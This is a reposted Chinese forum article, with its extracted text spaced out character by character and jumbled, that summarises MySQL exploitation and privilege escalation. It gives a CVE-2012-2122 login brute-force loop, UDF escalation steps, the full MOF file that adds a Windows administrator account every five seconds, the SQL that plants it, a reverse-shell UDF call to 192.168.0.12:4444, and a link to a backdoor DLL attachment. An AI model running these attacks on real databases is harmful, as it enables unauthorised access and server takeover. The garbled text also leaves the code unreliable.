搜索

[28579] 2020-09-13_mysql数据库漏洞利用及提权方式小结

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-19
2020-09-13_mysql数据库漏洞利用及提权方式小结 m y s q l 数 据 库 漏 洞 利 用 及 提 权 方 式 小 结 g h t w f 0 1   O t s 安 全   2 0 2 0 - 0 9 - 1 3 转 先 知 社 区 转 先 知 社 区   作 者 ： 作 者 ： g h t w f 0 1 C V E - 2 0 1 2 - 2 1 2 2   M y s q l 身 份 认 证 漏 洞 身 份 认 证 漏 洞 影 响 版 本 影 响 版 本 在 之 前 也 差 不 多 这 个 版 本 之 前 漏 洞 原 理 漏 洞 原 理 只 要 知 道 用 户 名 ， 不 断 尝 试 就 能 够 直 接 登 入 数 据 库 ， 按 照 公 告 说 法 大 约 次 就 能 够 蒙 对 一 次 漏 洞 复 现 漏 洞 复 现 m s f 利 用 利 用 h a s h 解 密 M y s q l 5 . 5 . 2 4 M a r i a D B S Q L 2 5 6
得 到 密 码 即 可 登 录 p y t h o n   e x p # ! / u s r / b i n / p y t h o n i m p o r t   s u b p r o c e s s w h i l e   1 :                 s u b p r o c e s s . P o p e n ( " m y s q l   - u   r o o t   - p   - h   1 9 2 . 1 6 8 . 0 . 1 6   - - p a s s w o r d = t e s t " ,   s h e l l = T r u e ) . w a i t ( )
s h e l l   e x p f o r   i   i n   ` s e q   1   1 0 0 0 ` ;   d o   m y s q l   - u   r o o t   - p   - h   1 9 2 . 1 6 8 . 0 . 1 6   - - p a s s w o r d = b a d   2 > / d e v / n u l l ;   d o n e M y s q l   U D F 提 权 提 权 如 果 m y s q l 版 本 大 于 5 . 1 ， u d f . d l l 文 件 必 须 放 置 在 m y s q l 安 装 目 录 的 l i b p l u g i n 文 件 夹 下 如 果 m y s q l 版 本 小 于 5 . 1 ， u d f . d l l 文 件 在 w i n d o w s   s e r v e r   2 0 0 3 下 放 置 于 c : w i n d o w s s y s t e m 3 2 目 录 ， 在 w i n d o w s   s e r v e r   2 0 0 0 下 放 置 在 c : w i n n t s y s t e m 3 2 目 录 利 用 利 用 s q l m a p 进 行 进 行 U D F 提 权 提 权
利 用 利 用 m s f 进 行 进 行 U D F 提 权 提 权 使 用 m y s q l _ u d f _ p a y l o a d 模 块 适 应 于 5 . 5 . 9 以 下 ， 我 这 边 的 m y s q l 版 本 号 为 5 . 5 . 5 3 ， 已 经 超 出 了 版 本 限 制 ， 所 以 不 能 提 权 手 工 手 工 U D F 提 权 提 权 这 里 上 传 使 用 暗 月 的 木 马 这 作 者 牛 逼 牛 逼 登 录 进 去 ， 它 会 自 动 判 断 版 本 决 定 出 导 出 文 件 位 置 m y s q l d l l
然 后 导 出 ， 发 现 没 有 这 个 目 录 于 是 我 们 创 建 后 就 能 成 功 导 出 但 是 一 直 找 不 到 文 件 。 。 ， u d f p l u g i n
最 后 使 用 其 它 的 提 权 文 件 发 现 可 以 ， 原 来 是 这 个 文 件 问 题 ， 这 下 便 能 执 行 命 令 添 加 管 理 员 ， 开 启 等 。 。 这 里 就 略 过 既 然 知 道 了 账 号 密 码 当 然 也 可 以 直 接 连 接 上 去 ， 然 后 上 传 文 件 ， 执 行 命 令 M y s q l   M O F 提 权 提 权 直 接 上 传 文 件 直 接 上 传 文 件 M O F 提 权 提 权 直 接 上 传 文 件 登 录 后 执 行 任 意 命 令 u d f u d f 3 3 8 9 m y s q l m o f . p h p
利 用 利 用 m s f 进 行 进 行 M O F 提 权 提 权 使 用 模 块 ， 有 的 版 本 不 能 成 功 ， 比 如 我 现 在 这 个 搭 建 的 上 传 上 传 n u l l e v t . m o f 文 件 进 行 文 件 进 行 M O F 提 权 提 权 n u l l e v t . m o f 文 件 源 码 他 会 每 五 秒 创 建 一 个 账 户 m y s q l _ m o f p h p s t u d y 5 . 5 . 5 3 # p r a g m a   n a m e s p a c e ( " . r o o t s u b s c r i p t i o n " ) i n s t a n c e   o f   _ _ E v e n t F i l t e r   a s   $ E v e n t F i l t e r { E v e n t N a m e s p a c e   =   " R o o t C i m v 2 " ; N a m e   =   " f i l t P 2 " ; Q u e r y   =   " S e l e c t   *   F r o m   _ _ I n s t a n c e M o d i f i c a t i o n E v e n t   " " W h e r e   T a r g e t I n s t a n c e   I s a   " W i n 3 2 _ L o c a l T i m e "   " " A n d   T a r g e t I n s t a n c e . S e c o n d   =   5 " ; Q u e r y L a n g u a g e   =   " W Q L " ; } ; i n s t a n c e   o f   A c t i v e S c r i p t E v e n t C o n s u m e r   a s   $ C o n s u m e r { N a m e   =   " c o n s P C S V 2 " ; S c r i p t i n g E n g i n e   =   " J S c r i p t " ; S c r i p t T e x t   = " v a r   W S H   =   n e w   A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) n W S H . r u n ( " n e t . e x e   u s e r   g h t w f 0 1 1   g h t w f 0 1   / a d d " ) " ; } ; i n s t a n c e   o f   _ _ F i l t e r T o C o n s u m e r B i n d i n g { C o n s u m e r   =   $ C o n s u m e r ; F i l t e r   =   $ E v e n t F i l t e r ; } ;
， 里 面 命 令 可 以 自 定 义 使 用 s q l 语 句 将 文 件 导 入 到 下 s e l e c t   l o a d _ f i l e ( " C : / p h p s t u d y / W W W / n u l l e v t . m o f " )   i n t o   d u m p f i l e   " c : / w i n d o w s / s y s t e m 3 2 / w b e m / m o f / n u l l e v t . m o f " 注 意 这 里 不 能 使 用 ， 因 为 会 在 末 端 写 入 新 行 ， 因 此 在 被 当 作 二 进 制 文 件 无 法 正 常 执 行 ， 所 以 我 们 用 导 出 一 行 数 据 成 功 生 成 了 账 户 因 为 每 五 秒 都 会 生 成 账 户 ， 痕 迹 清 理 的 时 候 使 用 如 下 办 法 即 可 M y s q l 反 弹 端 口 提 权 反 弹 端 口 提 权 g h t w f 0 1 1 c : / w i n d o w s / s y s t e m 3 2 / w b e m / m o f / o u t f i l e m o f d u m p f i l e g h t w f 0 1 1 n e t   s t o p   w i n m g m t n e t   u s e r   g h t w f 0 1 1   / d e l e t e 切 换 到 c : / w i n d o w s / s y s t e m 3 2 / w b e m 后 d e l   r e p o s i t o r y n e t   s t a r t   w i n m g m t
原 理 就 是 声 明 一 个 函 数 e x p 如 下 ， e x p 太 长 了 文 章 发 不 出 来 。 。 我 附 件 出 来 吧 第 二 条 定 义 的 是 内 容 的 进 制 依 次 执 行 命 令 使 用 监 听 ， 这 边 执 行 成 功 提 权 拿 到 参 考 链 接 参 考 链 接 h t t p s : / / w w w . f r e e b u f . c o m / v u l s / 3 8 1 5 . h t m l h t t p s : / / x z . a l i y u n . c o m / t / 2 7 1 9 # t o c - 1 4 e x p . r a r   ( 0 . 0 6 2   M B )   下 载 附 件 下 载 附 件 b a c k d o o r @ a u d f . d l l 1 6 k a l i n c s e l e c t   b a c k s h e l l ( " 1 9 2 . 1 6 8 . 0 . 1 2 " , 4 4 4 4 ) ; s h e l l
h t t p s : / / x z f i l e . a l i y u n c s . c o m / u p l o a d / a f f i x / 2 0 2 0 0 3 1 3 1 1 3 9 0 2 - 2 e 4 f f e 0 6 - 6 4 d c - 1 . r a r 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理